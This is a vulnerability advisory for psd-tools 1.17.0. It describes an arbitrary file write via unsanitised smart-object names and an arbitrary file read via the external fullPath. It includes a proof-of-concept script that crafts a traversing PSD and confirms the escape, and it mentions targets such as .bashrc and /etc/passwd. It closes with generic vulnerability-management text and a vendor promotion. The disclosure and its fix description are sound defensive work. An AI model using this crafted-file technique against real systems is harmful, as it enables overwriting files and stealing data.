In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.
A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.
SmartObject.save() (primary)src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):
def save(self, filename: str | None = None) -> None:
if filename is None:
filename = self.filename # untrusted, straight from the file
with open(filename, "wb") as f:
f.write(self.data) # attacker-controlled bytes
self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.
SmartObject.open() / .data for external kind (secondary)For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.
Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.
pip install psd-tools==1.17.0
python poc.py
poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:
import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag
MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}
def craft(name, out):
psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
uuid = next(l.smart_object.unique_id for l in psd.descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
if item.uuid.strip("\x00") == uuid:
item.filename, item.data = name, MARKER
psd.save(out)
def extract(psd_path, outdir, watch):
psd = PSDImage.open(psd_path)
before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
cwd = os.getcwd(); os.chdir(outdir)
try:
for l in psd.descendants():
if l.kind == "smartobject" and l.smart_object.kind == "data":
l.smart_object.save()
finally:
os.chdir(cwd)
after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
return sorted(after - before)
def main():
tmp = tempfile.mkdtemp(prefix="poc_")
try:
escaped = {}
for tag, name in NAMES.items():
psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
so = next(l.smart_object for l in PSDImage.open(psd).descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
print(f"[{tag}] parsed embedded name = {so.filename!r}")
outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
for w in written:
print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
ok = (not escaped["control"] and escaped["exploit"]
and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
return 0 if ok else 1
finally:
shutil.rmtree(tmp, ignore_errors=True)
raise SystemExit(main())
Output (psd-tools 1.17.0):
[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir
VERDICT: ARBITRARY FILE WRITE CONFIRMED
An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.
Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.
For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.
Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.
Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:
save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).
v1.17.0): src/psd_tools/api/smart_object.py:170-179
(sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100
(source).save() write logic is unchanged since the SmartObject API was introduced,
so all releases exposing it are affected.A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.